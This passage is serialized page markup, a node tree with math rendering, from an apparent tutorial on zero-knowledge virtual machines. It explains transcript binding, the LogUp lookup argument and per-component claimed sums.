{"type":25,"tag":216,"props":116818,"children":116819},{"style":116152},[116820,116824],{"type":25,"tag":216,"props":116821,"children":116823},{"className":116822,"style":320},[319],[],{"type":25,"tag":216,"props":116825,"children":116827},{"className":116826},[246,2145],[116828],{"type":31,"value":7165},{"type":25,"tag":216,"props":116830,"children":116831},{"style":116517},[116832,116836],{"type":25,"tag":216,"props":116833,"children":116835},{"className":116834,"style":320},[319],[],{"type":25,"tag":216,"props":116837,"children":116839},{"className":116838,"style":116376},[116174],[116840],{"type":25,"tag":216,"props":116841,"children":116843},{"className":116842,"style":116250},[116249],[116844],{"type":25,"tag":38230,"props":116845,"children":116846},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[116847],{"type":25,"tag":116262,"props":116848,"children":116849},{"d":116264},[],{"type":25,"tag":216,"props":116851,"children":116853},{"className":116852},[1858],[116854],{"type":31,"value":1861},{"type":25,"tag":216,"props":116856,"children":116858},{"className":116857,"style":1865},[257],[],{"type":25,"tag":216,"props":116860,"children":116862},{"className":116861},[246,116135],[116863],{"type":25,"tag":216,"props":116864,"children":116866},{"className":116865},[298],[116867],{"type":25,"tag":216,"props":116868,"children":116870},{"className":116869},[304],[116871],{"type":25,"tag":216,"props":116872,"children":116874},{"className":116873,"style":116220},[309],[116875,116887],{"type":25,"tag":216,"props":116876,"children":116877},{"style":116152},[116878,116882],{"type":25,"tag":216,"props":116879,"children":116881},{"className":116880,"style":320},[319],[],{"type":25,"tag":216,"props":116883,"children":116885},{"className":116884,"style":2746},[246,2145],[116886],{"type":31,"value":97823},{"type":25,"tag":216,"props":116888,"children":116889},{"style":116152},[116890,116894],{"type":25,"tag":216,"props":116891,"children":116893},{"className":116892,"style":320},[319],[],{"type":25,"tag":216,"props":116895,"children":116897},{"className":116896,"style":116244},[116174],[116898],{"type":25,"tag":216,"props":116899,"children":116901},{"className":116900,"style":116250},[116249],[116902],{"type":25,"tag":38230,"props":116903,"children":116904},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[116905],{"type":25,"tag":116262,"props":116906,"children":116907},{"d":116264},[],{"type":25,"tag":216,"props":116909,"children":116911},{"className":116910},[427],[116912],{"type":31,"value":1882},{"type":31,"value":116914}," are constants, so ",{"type":25,"tag":82,"props":116916,"children":116918},{"className":116917},[212,4696],[116919],{"type":25,"tag":216,"props":116920,"children":116922},{"className":116921},[224],[116923],{"type":25,"tag":216,"props":116924,"children":116926},{"className":116925,"ariaHidden":230},[229],[116927],{"type":25,"tag":216,"props":116928,"children":116930},{"className":116929},[235],[116931,116935,116995,117000,117049],{"type":25,"tag":216,"props":116932,"children":116934},{"className":116933,"style":116130},[240],[],{"type":25,"tag":216,"props":116936,"children":116938},{"className":116937},[246,116135],[116939],{"type":25,"tag":216,"props":116940,"children":116942},{"className":116941},[298,299],[116943,116984],{"type":25,"tag":216,"props":116944,"children":116946},{"className":116945},[304],[116947,116979],{"type":25,"tag":216,"props":116948,"children":116950},{"className":116949,"style":116148},[309],[116951,116963],{"type":25,"tag":216,"props":116952,"children":116953},{"style":116152},[116954,116958],{"type":25,"tag":216,"props":116955,"children":116957},{"className":116956,"style":320},[319],[],{"type":25,"tag":216,"props":116959,"children":116961},{"className":116960,"style":99353},[246,2145],[116962],{"type":31,"value":37041},{"type":25,"tag":216,"props":116964,"children":116965},{"style":116165},[116966,116970],{"type":25,"tag":216,"props":116967,"children":116969},{"className":116968,"style":320},[319],[],{"type":25,"tag":216,"props":116971,"children":116973},{"className":116972,"style":116175},[116174],[116974],{"type":25,"tag":216,"props":116975,"children":116977},{"className":116976},[246],[116978],{"type":31,"value":116182},{"type":25,"tag":216,"props":116980,"children":116982},{"className":116981},[408],[116983],{"type":31,"value":411},{"type":25,"tag":216,"props":116985,"children":116987},{"className":116986},[304],[116988],{"type":25,"tag":216,"props":116989,"children":116991},{"className":116990,"style":116195},[309],[116992],{"type":25,"tag":216,"props":116993,"children":116994},{},[],{"type":25,"tag":216,"props":116996,"children":116998},{"className":116997},[287],[116999],{"type":31,"value":1844},{"type":25,"tag":216,"props":117001,"children":117003},{"className":117002},[246,116135],[117004],{"type":25,"tag":216,"props":117005,"children":117007},{"className":117006},[298],[117008],{"type":25,"tag":216,"props":117009,"children":117011},{"className":117010},[304],[117012],{"type":25,"tag":216,"props":117013,"children":117015},{"className":117014,"style":116220},[309],[117016,117028],{"type":25,"tag":216,"props":117017,"children":117018},{"style":116152},[117019,117023],{"type":25,"tag":216,"props":117020,"children":117022},{"className":117021,"style":320},[319],[],{"type":25,"tag":216,"props":117024,"children":117026},{"className":117025,"style":2746},[246,2145],[117027],{"type":31,"value":97823},{"type":25,"tag":216,"props":117029,"children":117030},{"style":116152},[117031,117035],{"type":25,"tag":216,"props":117032,"children":117034},{"className":117033,"style":320},[319],[],{"type":25,"tag":216,"props":117036,"children":117038},{"className":117037,"style":116244},[116174],[117039],{"type":25,"tag":216,"props":117040,"children":117042},{"className":117041,"style":116250},[116249],[117043],{"type":25,"tag":38230,"props":117044,"children":117045},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[117046],{"type":25,"tag":116262,"props":117047,"children":117048},{"d":116264},[],{"type":25,"tag":216,"props":117050,"children":117052},{"className":117051},[427],[117053],{"type":31,"value":1882},{"type":31,"value":117055}," is linear in the table values ",{"type":25,"tag":82,"props":117057,"children":117059},{"className":117058},[212,4696],[117060],{"type":25,"tag":216,"props":117061,"children":117063},{"className":117062},[224],[117064],{"type":25,"tag":216,"props":117065,"children":117067},{"className":117066,"ariaHidden":230},[229],[117068],{"type":25,"tag":216,"props":117069,"children":117071},{"className":117070},[235],[117072,117076,117081,117086,117135],{"type":25,"tag":216,"props":117073,"children":117075},{"className":117074,"style":116562},[240],[],{"type":25,"tag":216,"props":117077,"children":117079},{"className":117078,"style":99353},[246,2145],[117080],{"type":31,"value":37041},{"type":25,"tag":216,"props":117082,"children":117084},{"className":117083},[287],[117085],{"type":31,"value":1844},{"type":25,"tag":216,"props":117087,"children":117089},{"className":117088},[246,116135],[117090],{"type":25,"tag":216,"props":117091,"children":117093},{"className":117092},[298],[117094],{"type":25,"tag":216,"props":117095,"children":117097},{"className":117096},[304],[117098],{"type":25,"tag":216,"props":117099,"children":117101},{"className":117100,"style":116349},[309],[117102,117114],{"type":25,"tag":216,"props":117103,"children":117104},{"style":116152},[117105,117109],{"type":25,"tag":216,"props":117106,"children":117108},{"className":117107,"style":320},[319],[],{"type":25,"tag":216,"props":117110,"children":117112},{"className":117111},[246,2145],[117113],{"type":31,"value":7165},{"type":25,"tag":216,"props":117115,"children":117116},{"style":116517},[117117,117121],{"type":25,"tag":216,"props":117118,"children":117120},{"className":117119,"style":320},[319],[],{"type":25,"tag":216,"props":117122,"children":117124},{"className":117123,"style":116376},[116174],[117125],{"type":25,"tag":216,"props":117126,"children":117128},{"className":117127,"style":116250},[116249],[117129],{"type":25,"tag":38230,"props":117130,"children":117131},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[117132],{"type":25,"tag":116262,"props":117133,"children":117134},{"d":116264},[],{"type":25,"tag":216,"props":117136,"children":117138},{"className":117137},[427],[117139],{"type":31,"value":1882},{"type":31,"value":179},{"type":25,"tag":38,"props":117142,"children":117143},{},[117144,117146,117215],{"type":31,"value":117145},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":25,"tag":82,"props":117147,"children":117149},{"className":117148},[212,4696],[117150],{"type":25,"tag":216,"props":117151,"children":117153},{"className":117152},[224],[117154],{"type":25,"tag":216,"props":117155,"children":117157},{"className":117156,"ariaHidden":230},[229],[117158],{"type":25,"tag":216,"props":117159,"children":117161},{"className":117160},[235],[117162,117166],{"type":25,"tag":216,"props":117163,"children":117165},{"className":117164,"style":116220},[240],[],{"type":25,"tag":216,"props":117167,"children":117169},{"className":117168},[246,116135],[117170],{"type":25,"tag":216,"props":117171,"children":117173},{"className":117172},[298],[117174],{"type":25,"tag":216,"props":117175,"children":117177},{"className":117176},[304],[117178],{"type":25,"tag":216,"props":117179,"children":117181},{"className":117180,"style":116220},[309],[117182,117194],{"type":25,"tag":216,"props":117183,"children":117184},{"style":116152},[117185,117189],{"type":25,"tag":216,"props":117186,"children":117188},{"className":117187,"style":320},[319],[],{"type":25,"tag":216,"props":117190,"children":117192},{"className":117191,"style":2746},[246,2145],[117193],{"type":31,"value":97823},{"type":25,"tag":216,"props":117195,"children":117196},{"style":116152},[117197,117201],{"type":25,"tag":216,"props":117198,"children":117200},{"className":117199,"style":320},[319],[],{"type":25,"tag":216,"props":117202,"children":117204},{"className":117203,"style":116244},[116174],[117205],{"type":25,"tag":216,"props":117206,"children":117208},{"className":117207,"style":116250},[116249],[117209],{"type":25,"tag":38230,"props":117210,"children":117211},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[117212],{"type":25,"tag":116262,"props":117213,"children":117214},{"d":116264},[],{"type":31,"value":117216}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":25,"tag":607,"props":117218,"children":117220},{"id":117219},"lookup-arguments-logup",[117221],{"type":31,"value":117222},"Lookup Arguments (LogUp)",{"type":25,"tag":38,"props":117224,"children":117225},{},[117226],{"type":31,"value":117227},"zkVMs need to check that values satisfy certain properties. For example:",{"type":25,"tag":2033,"props":117229,"children":117230},{},[117231,117287,117292],{"type":25,"tag":2037,"props":117232,"children":117233},{},[117234,117236,117286],{"type":31,"value":117235},"Is this byte in range ",{"type":25,"tag":82,"props":117237,"children":117239},{"className":117238},[212,4696],[117240],{"type":25,"tag":216,"props":117241,"children":117243},{"className":117242},[224],[117244],{"type":25,"tag":216,"props":117245,"children":117247},{"className":117246,"ariaHidden":230},[229],[117248],{"type":25,"tag":216,"props":117249,"children":117251},{"className":117250},[235],[117252,117256,117261,117266,117271,117275,117281],{"type":25,"tag":216,"props":117253,"children":117255},{"className":117254,"style":5507},[240],[],{"type":25,"tag":216,"props":117257,"children":117259},{"className":117258},[287],[117260],{"type":31,"value":7695},{"type":25,"tag":216,"props":117262,"children":117264},{"className":117263},[246],[117265],{"type":31,"value":1876},{"type":25,"tag":216,"props":117267,"children":117269},{"className":117268},[1858],[117270],{"type":31,"value":1861},{"type":25,"tag":216,"props":117272,"children":117274},{"className":117273,"style":1865},[257],[],{"type":25,"tag":216,"props":117276,"children":117278},{"className":117277},[246],[117279],{"type":31,"value":117280},"255",{"type":25,"tag":216,"props":117282,"children":117284},{"className":117283},[427],[117285],{"type":31,"value":19362},{"type":31,"value":605},{"type":25,"tag":2037,"props":117288,"children":117289},{},[117290],{"type":31,"value":117291},"Does this opcode decode correctly?",{"type":25,"tag":2037,"props":117293,"children":117294},{},[117295],{"type":31,"value":117296},"Is this memory access consistent with previous accesses?",{"type":25,"tag":38,"props":117298,"children":117299},{},[117300,117305],{"type":25,"tag":9267,"props":117301,"children":117302},{},[117303],{"type":31,"value":117304},"The naive approach:",{"type":31,"value":117306}," Add constraints for each check. Expensive.",{"type":25,"tag":38,"props":117308,"children":117309},{},[117310,117315,117317,117322],{"type":25,"tag":9267,"props":117311,"children":117312},{},[117313],{"type":31,"value":117314},"The clever approach:",{"type":31,"value":117316}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":25,"tag":9267,"props":117318,"children":117319},{},[117320],{"type":31,"value":117321},"multiset membership",{"type":31,"value":71759},{"type":25,"tag":38,"props":117324,"children":117325},{},[117326,117331],{"type":25,"tag":9267,"props":117327,"children":117328},{},[117329],{"type":31,"value":117330},"LogUp (Logarithmic Derivative):",{"type":31,"value":117332}," Encode multiset membership as a sum of fractions.",{"type":25,"tag":38,"props":117334,"children":117335},{},[117336,117338,117363,117365,117392],{"type":31,"value":117337},"If set ",{"type":25,"tag":82,"props":117339,"children":117341},{"className":117340},[212,4696],[117342],{"type":25,"tag":216,"props":117343,"children":117345},{"className":117344},[224],[117346],{"type":25,"tag":216,"props":117347,"children":117349},{"className":117348,"ariaHidden":230},[229],[117350],{"type":25,"tag":216,"props":117351,"children":117353},{"className":117352},[235],[117354,117358],{"type":25,"tag":216,"props":117355,"children":117357},{"className":117356,"style":4793},[240],[],{"type":25,"tag":216,"props":117359,"children":117361},{"className":117360},[246,2145],[117362],{"type":31,"value":80733},{"type":31,"value":117364}," should equal set ",{"type":25,"tag":82,"props":117366,"children":117368},{"className":117367},[212,4696],[117369],{"type":25,"tag":216,"props":117370,"children":117372},{"className":117371},[224],[117373],{"type":25,"tag":216,"props":117374,"children":117376},{"className":117375,"ariaHidden":230},[229],[117377],{"type":25,"tag":216,"props":117378,"children":117380},{"className":117379},[235],[117381,117385],{"type":25,"tag":216,"props":117382,"children":117384},{"className":117383,"style":4793},[240],[],{"type":25,"tag":216,"props":117386,"children":117389},{"className":117387,"style":117388},[246,2145],"margin-right:0.05017em;",[117390],{"type":31,"value":117391},"B",{"type":31,"value":117393}," as multisets:",{"type":25,"tag":38,"props":117395,"children":117396},{},[117397],{"type":25,"tag":82,"props":117398,"children":117400},{"className":117399},[212,4696],[117401],{"type":25,"tag":216,"props":117402,"children":117404},{"className":117403},[224],[117405],{"type":25,"tag":216,"props":117406,"children":117408},{"className":117407,"ariaHidden":230},[229],[117409,117618],{"type":25,"tag":216,"props":117410,"children":117412},{"className":117411},[235],[117413,117418,117491,117495,117605,117609,117614],{"type":25,"tag":216,"props":117414,"children":117417},{"className":117415,"style":117416},[240],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":25,"tag":216,"props":117419,"children":117421},{"className":117420},[1835],[117422,117427],{"type":25,"tag":216,"props":117423,"children":117425},{"className":117424,"style":25578},[1835,4042,25577],[117426],{"type":31,"value":4046},{"type":25,"tag":216,"props":117428,"children":117430},{"className":117429},[2153],[117431],{"type":25,"tag":216,"props":117432,"children":117434},{"className":117433},[298,299],[117435,117479],{"type":25,"tag":216,"props":117436,"children":117438},{"className":117437},[304],[117439,117474],{"type":25,"tag":216,"props":117440,"children":117443},{"className":117441,"style":117442},[309],"height:0.1786em;",[117444],{"type":25,"tag":216,"props":117445,"children":117446},{"style":25601},[117447,117451],{"type":25,"tag":216,"props":117448,"children":117450},{"className":117449,"style":2175},[319],[],{"type":25,"tag":216,"props":117452,"children":117454},{"className":117453},[2180,2181,2182,2183],[117455],{"type":25,"tag":216,"props":117456,"children":117458},{"className":117457},[246,2183],[117459,117464,117469],{"type":25,"tag":216,"props":117460,"children":117462},{"className":117461},[246,2145,2183],[117463],{"type":31,"value":162},{"type":25,"tag":216,"props":117465,"children":117467},{"className":117466},[263,2183],[117468],{"type":31,"value":25641},{"type":25,"tag":216,"props":117470,"children":117472},{"className":117471},[246,2145,2183],[117473],{"type":31,"value":80733},{"type":25,"tag":216,"props":117475,"children":117477},{"className":117476},[408],[117478],{"type":31,"value":411},{"type":25,"tag":216,"props":117480,"children":117482},{"className":117481},[304],[117483],{"type":25,"tag":216,"props":117484,"children":117487},{"className":117485,"style":117486},[309],"height:0.3271em;",[117488],{"type":25,"tag":216,"props":117489,"children":117490},{},[],{"type":25,"tag":216,"props":117492,"children":117494},{"className":117493,"style":1865},[257],[],{"type":25,"tag":216,"props":117496,"children":117498},{"className":117497},[246],[117499,117503,117601],{"type":25,"tag":216,"props":117500,"children":117502},{"className":117501},[287,288],[],{"type":25,"tag":216,"props":117504,"children":117506},{"className":117505},[293],[117507],{"type":25,"tag":216,"props":117508,"children":117510},{"className":117509},[298,299],[117511,117589],{"type":25,"tag":216,"props":117512,"children":117514},{"className":117513},[304],[117515,117584],{"type":25,"tag":216,"props":117516,"children":117519},{"className":117517,"style":117518},[309],"height:0.8451em;",[117520,117552,117563],{"type":25,"tag":216,"props":117521,"children":117522},{"style":5053},[117523,117527],{"type":25,"tag":216,"props":117524,"children":117526},{"className":117525,"style":320},[319],[],{"type":25,"tag":216,"props":117528,"children":117530},{"className":117529},[2180,2181,2182,2183],[117531],{"type":25,"tag":216,"props":117532,"children":117534},{"className":117533},[246,2183],[117535,117542,117547],{"type":25,"tag":216,"props":117536,"children":117539},{"className":117537,"style":117538},[246,2145,2183],"margin-right:0.04398em;",[117540],{"type":31,"value":117541},"z",{"type":25,"tag":216,"props":117543,"children":117545},{"className":117544},[340,2183],[117546],{"type":31,"value":3372},{"type":25,"tag":216,"props":117548,"children":117550},{"className":117549},[246,2145,2183],[117551],{"type":31,"value":162},{"type":25,"tag":216,"props":117553,"children":117554},{"style":360},[117555,117559],{"type":25,"tag":216,"props":117556,"children":117558},{"className":117557,"style":320},[319],[],{"type":25,"tag":216,"props":117560,"children":117562},{"className":117561,"style":370},[369],[],{"type":25,"tag":216,"props":117564,"children":117566},{"style":117565},"top:-3.394em;",[117567,117571],{"type":25,"tag":216,"props":117568,"children":117570},{"className":117569,"style":320},[319],[],{"type":25,"tag":216,"props":117572,"children":117574},{"className":117573},[2180,2181,2182,2183],[117575],{"type":25,"tag":216,"props":117576,"children":117578},{"className":117577},[246,2183],[117579],{"type":25,"tag":216,"props":117580,"children":117582},{"className":117581},[246,2183],[117583],{"type":31,"value":184},{"type":25,"tag":216,"props":117585,"children":117587},{"className":117586},[408],[117588],{"type":31,"value":411},{"type":25,"tag":216,"props":117590,"children":117592},{"className":117591},[304],[117593],{"type":25,"tag":216,"props":117594,"children":117597},{"className":117595,"style":117596},[309],"height:0.4033em;",[117598],{"type":25,"tag":216,"props":117599,"children":117600},{},[],{"type":25,"tag":216,"props":117602,"children":117604},{"className":117603},[427,288],[],{"type":25,"tag":216,"props":117606,"children":117608},{"className":117607,"style":258},[257],[],{"type":25,"tag":216,"props":117610,"children":117612},{"className":117611},[263],[117613],{"type":31,"value":266},{"type":25,"tag":216,"props":117615,"children":117617},{"className":117616,"style":258},[257],[],{"type":25,"tag":216,"props":117619,"children":117621},{"className":117620},[235],[117622,117626,117698,117702],{"type":25,"tag":216,"props":117623,"children":117625},{"className":117624,"style":117416},[240],[],{"type":25,"tag":216,"props":117627,"children":117629},{"className":117628},[1835],[117630,117635],{"type":25,"tag":216,"props":117631,"children":117633},{"className":117632,"style":25578},[1835,4042,25577],[117634],{"type":31,"value":4046},{"type":25,"tag":216,"props":117636,"children":117638},{"className":117637},[2153],[117639],{"type":25,"tag":216,"props":117640,"children":117642},{"className":117641},[298,299],[117643,117687],{"type":25,"tag":216,"props":117644,"children":117646},{"className":117645},[304],[117647,117682],{"type":25,"tag":216,"props":117648,"children":117651},{"className":117649,"style":117650},[309],"height:0.1864em;",[117652],{"type":25,"tag":216,"props":117653,"children":117654},{"style":25601},[117655,117659],{"type":25,"tag":216,"props":117656,"children":117658},{"className":117657,"style":2175},[319],[],{"type":25,"tag":216,"props":117660,"children":117662},{"className":117661},[2180,2181,2182,2183],[117663],{"type":25,"tag":216,"props":117664,"children":117666},{"className":117665},[246,2183],[117667,117672,117677],{"type":25,"tag":216,"props":117668,"children":117670},{"className":117669},[246,2145,2183],[117671],{"type":31,"value":7165},{"type":25,"tag":216,"props":117673,"children":117675},{"className":117674},[263,2183],[117676],{"type":31,"value":25641},{"type":25,"tag":216,"props":117678,"children":117680},{"className":117679,"style":117388},[246,2145,2183],[117681],{"type":31,"value":117391},{"type":25,"tag":216,"props":117683,"children":117685},{"className":117684},[408],[117686],{"type":31,"value":411},{"type":25,"tag":216,"props":117688,"children":117690},{"className":117689},[304],[117691],{"type":25,"tag":216,"props":117692,"children":117694},{"className":117693,"style":117486},[309],[117695],{"type":25,"tag":216,"props":117696,"children":117697},{},[],{"type":25,"tag":216,"props":117699,"children":117701},{"className":117700,"style":1865},[257],[],{"type":25,"tag":216,"props":117703,"children":117705},{"className":117704},[246],[117706,117710,117803],{"type":25,"tag":216,"props":117707,"children":117709},{"className":117708},[287,288],[],{"type":25,"tag":216,"props":117711,"children":117713},{"className":117712},[293],[117714],{"type":25,"tag":216,"props":117715,"children":117717},{"className":117716},[298,299],[117718,117792],{"type":25,"tag":216,"props":117719,"children":117721},{"className":117720},[304],[117722,117787],{"type":25,"tag":216,"props":117723,"children":117725},{"className":117724,"style":117518},[309],[117726,117756,117767],{"type":25,"tag":216,"props":117727,"children":117728},{"style":5053},[117729,117733],{"type":25,"tag":216,"props":117730,"children":117732},{"className":117731,"style":320},[319],[],{"type":25,"tag":216,"props":117734,"children":117736},{"className":117735},[2180,2181,2182,2183],[117737],{"type":25,"tag":216,"props":117738,"children":117740},{"className":117739},[246,2183],[117741,117746,117751],{"type":25,"tag":216,"props":117742,"children":117744},{"className":117743,"style":117538},[246,2145,2183],[117745],{"type":31,"value":117541},{"type":25,"tag":216,"props":117747,"children":117749},{"className":117748},[340,2183],[117750],{"type":31,"value":3372},{"type":25,"tag":216,"props":117752,"children":117754},{"className":117753},[246,2145,2183],[117755],{"type":31,"value":7165},{"type":25,"tag":216,"props":117757,"children":117758},{"style":360},[117759,117763],{"type":25,"tag":216,"props":117760,"children":117762},{"className":117761,"style":320},[319],[],{"type":25,"tag":216,"props":117764,"children":117766},{"className":117765,"style":370},[369],[],{"type":25,"tag":216,"props":117768,"children":117769},{"style":117565},[117770,117774],{"type":25,"tag":216,"props":117771,"children":117773},{"className":117772,"style":320},[319],[],{"type":25,"tag":216,"props":117775,"children":117777},{"className":117776},[2180,2181,2182,2183],[117778],{"type":25,"tag":216,"props":117779,"children":117781},{"className":117780},[246,2183],[117782],{"type":25,"tag":216,"props":117783,"children":117785},{"className":117784},[246,2183],[117786],{"type":31,"value":184},{"type":25,"tag":216,"props":117788,"children":117790},{"className":117789},[408],[117791],{"type":31,"value":411},{"type":25,"tag":216,"props":117793,"children":117795},{"className":117794},[304],[117796],{"type":25,"tag":216,"props":117797,"children":117799},{"className":117798,"style":117596},[309],[117800],{"type":25,"tag":216,"props":117801,"children":117802},{},[],{"type":25,"tag":216,"props":117804,"children":117806},{"className":117805},[427,288],[],{"type":25,"tag":38,"props":117808,"children":117809},{},[117810,117812,117837],{"type":31,"value":117811},"for random challenge ",{"type":25,"tag":82,"props":117813,"children":117815},{"className":117814},[212,4696],[117816],{"type":25,"tag":216,"props":117817,"children":117819},{"className":117818},[224],[117820],{"type":25,"tag":216,"props":117821,"children":117823},{"className":117822,"ariaHidden":230},[229],[117824],{"type":25,"tag":216,"props":117825,"children":117827},{"className":117826},[235],[117828,117832],{"type":25,"tag":216,"props":117829,"children":117831},{"className":117830,"style":6309},[240],[],{"type":25,"tag":216,"props":117833,"children":117835},{"className":117834,"style":117538},[246,2145],[117836],{"type":31,"value":117541},{"type":31,"value":117838},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":25,"tag":38,"props":117840,"children":117841},{},[117842,117847],{"type":25,"tag":9267,"props":117843,"children":117844},{},[117845],{"type":31,"value":117846},"In zkVMs:",{"type":31,"value":117848}," Different components emit and consume lookup tuples:",{"type":25,"tag":2033,"props":117850,"children":117851},{},[117852,117939],{"type":25,"tag":2037,"props":117853,"children":117854},{},[117855,117857,117883,117885,117910,117912,117938],{"type":31,"value":117856},"CPU emits: \"I read value ",{"type":25,"tag":82,"props":117858,"children":117860},{"className":117859},[212,4696],[117861],{"type":25,"tag":216,"props":117862,"children":117864},{"className":117863},[224],[117865],{"type":25,"tag":216,"props":117866,"children":117868},{"className":117867,"ariaHidden":230},[229],[117869],{"type":25,"tag":216,"props":117870,"children":117872},{"className":117871},[235],[117873,117877],{"type":25,"tag":216,"props":117874,"children":117876},{"className":117875,"style":6309},[240],[],{"type":25,"tag":216,"props":117878,"children":117880},{"className":117879,"style":2319},[246,2145],[117881],{"type":31,"value":117882},"v",{"type":31,"value":117884}," from address ",{"type":25,"tag":82,"props":117886,"children":117888},{"className":117887},[212,4696],[117889],{"type":25,"tag":216,"props":117890,"children":117892},{"className":117891},[224],[117893],{"type":25,"tag":216,"props":117894,"children":117896},{"className":117895,"ariaHidden":230},[229],[117897],{"type":25,"tag":216,"props":117898,"children":117900},{"className":117899},[235],[117901,117905],{"type":25,"tag":216,"props":117902,"children":117904},{"className":117903,"style":6309},[240],[],{"type":25,"tag":216,"props":117906,"children":117908},{"className":117907},[246,2145],[117909],{"type":31,"value":162},{"type":31,"value":117911}," at time ",{"type":25,"tag":82,"props":117913,"children":117915},{"className":117914},[212,4696],[117916],{"type":25,"tag":216,"props":117917,"children":117919},{"className":117918},[224],[117920],{"type":25,"tag":216,"props":117921,"children":117923},{"className":117922,"ariaHidden":230},[229],[117924],{"type":25,"tag":216,"props":117925,"children":117927},{"className":117926},[235],[117928,117933],{"type":25,"tag":216,"props":117929,"children":117932},{"className":117930,"style":117931},[240],"height:0.6151em;",[],{"type":25,"tag":216,"props":117934,"children":117936},{"className":117935},[246,2145],[117937],{"type":31,"value":2928},{"type":31,"value":24014},{"type":25,"tag":2037,"props":117940,"children":117941},{},[117942,117944,117969,117971,117996,117998,118023],{"type":31,"value":117943},"Memory table consumes: \"At time ",{"type":25,"tag":82,"props":117945,"children":117947},{"className":117946},[212,4696],[117948],{"type":25,"tag":216,"props":117949,"children":117951},{"className":117950},[224],[117952],{"type":25,"tag":216,"props":117953,"children":117955},{"className":117954,"ariaHidden":230},[229],[117956],{"type":25,"tag":216,"props":117957,"children":117959},{"className":117958},[235],[117960,117964],{"type":25,"tag":216,"props":117961,"children":117963},{"className":117962,"style":117931},[240],[],{"type":25,"tag":216,"props":117965,"children":117967},{"className":117966},[246,2145],[117968],{"type":31,"value":2928},{"type":31,"value":117970},", address ",{"type":25,"tag":82,"props":117972,"children":117974},{"className":117973},[212,4696],[117975],{"type":25,"tag":216,"props":117976,"children":117978},{"className":117977},[224],[117979],{"type":25,"tag":216,"props":117980,"children":117982},{"className":117981,"ariaHidden":230},[229],[117983],{"type":25,"tag":216,"props":117984,"children":117986},{"className":117985},[235],[117987,117991],{"type":25,"tag":216,"props":117988,"children":117990},{"className":117989,"style":6309},[240],[],{"type":25,"tag":216,"props":117992,"children":117994},{"className":117993},[246,2145],[117995],{"type":31,"value":162},{"type":31,"value":117997}," contained ",{"type":25,"tag":82,"props":117999,"children":118001},{"className":118000},[212,4696],[118002],{"type":25,"tag":216,"props":118003,"children":118005},{"className":118004},[224],[118006],{"type":25,"tag":216,"props":118007,"children":118009},{"className":118008,"ariaHidden":230},[229],[118010],{"type":25,"tag":216,"props":118011,"children":118013},{"className":118012},[235],[118014,118018],{"type":25,"tag":216,"props":118015,"children":118017},{"className":118016,"style":6309},[240],[],{"type":25,"tag":216,"props":118019,"children":118021},{"className":118020,"style":2319},[246,2145],[118022],{"type":31,"value":117882},{"type":31,"value":24014},{"type":25,"tag":38,"props":118025,"children":118026},{},[118027],{"type":31,"value":118028},"If everything balances, the execution is consistent.",{"type":25,"tag":38,"props":118030,"children":118031},{},[118032,118037],{"type":25,"tag":9267,"props":118033,"children":118034},{},[118035],{"type":31,"value":118036},"The claimed_sum:",{"type":31,"value":118038}," Each component computes its contribution to the LogUp sum:",{"type":25,"tag":38,"props":118040,"children":118041},{},[118042],{"type":25,"tag":82,"props":118043,"children":118045},{"className":118044},[212,4696],[118046],{"type":25,"tag":216,"props":118047,"children":118049},{"className":118048},[224],[118050],{"type":25,"tag":216,"props":118051,"children":118053},{"className":118052,"ariaHidden":230},[229],[118054,118152,118403],{"type":25,"tag":216,"props":118055,"children":118057},{"className":118056},[235],[118058,118062,118072,118077,118139,118143,118148],{"type":25,"tag":216,"props":118059,"children":118061},{"className":118060,"style":241},[240],[],{"type":25,"tag":216,"props":118063,"children":118065},{"className":118064},[246,31],[118066],{"type":25,"tag":216,"props":118067,"children":118069},{"className":118068},[246],[118070],{"type":31,"value":118071},"claimed",{"type":25,"tag":216,"props":118073,"children":118075},{"className":118074,"style":2746},[246],[118076],{"type":31,"value":7025},{"type":25,"tag":216,"props":118078,"children":118080},{"className":118079},[246],[118081,118090],{"type":25,"tag":216,"props":118082,"children":118084},{"className":118083},[246,31],[118085],{"type":25,"tag":216,"props":118086,"children":118088},{"className":118087},[246],[118089],{"type":31,"value":80598},{"type":25,"tag":216,"props":118091,"children":118093},{"className":118092},[2153],[118094],{"type":25,"tag":216,"props":118095,"children":118097},{"className":118096},[298,299],[118098,118128],{"type":25,"tag":216,"props":118099,"children":118101},{"className":118100},[304],[118102,118123],{"type":25,"tag":216,"props":118103,"children":118105},{"className":118104,"style":2264},[309],[118106],{"type":25,"tag":216,"props":118107,"children":118109},{"style":118108},"top:-2.55em;margin-right:0.05em;",[118110,118114],{"type":25,"tag":216,"props":118111,"children":118113},{"className":118112,"style":2175},[319],[],{"type":25,"tag":216,"props":118115,"children":118117},{"className":118116},[2180,2181,2182,2183],[118118],{"type":25,"tag":216,"props":118119,"children":118121},{"className":118120},[246,2145,2183],[118122],{"type":31,"value":2283},{"type":25,"tag":216,"props":118124,"children":118126},{"className":118125},[408],[118127],{"type":31,"value":411},{"type":25,"tag":216,"props":118129,"children":118131},{"className":118130},[304],[118132],{"type":25,"tag":216,"props":118133,"children":118135},{"className":118134,"style":2203},[309],[118136],{"type":25,"tag":216,"props":118137,"children":118138},{},[],{"type":25,"tag":216,"props":118140,"children":118142},{"className":118141,"style":258},[257],[],{"type":25,"tag":216,"props":118144,"children":118146},{"className":118145},[263],[118147],{"type":31,"value":266},{"type":25,"tag":216,"props":118149,"children":118151},{"className":118150,"style":258},[257],[],{"type":25,"tag":216,"props":118153,"children":118155},{"className":118154},[235],[118156,118161,118221,118225,118390,118394,118399],{"type":25,"tag":216,"props":118157,"children":118160},{"className":118158,"style":118159},[240],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":25,"tag":216,"props":118162,"children":118164},{"className":118163},[1835],[118165,118170],{"type":25,"tag":216,"props":118166,"children":118168},{"className":118167,"s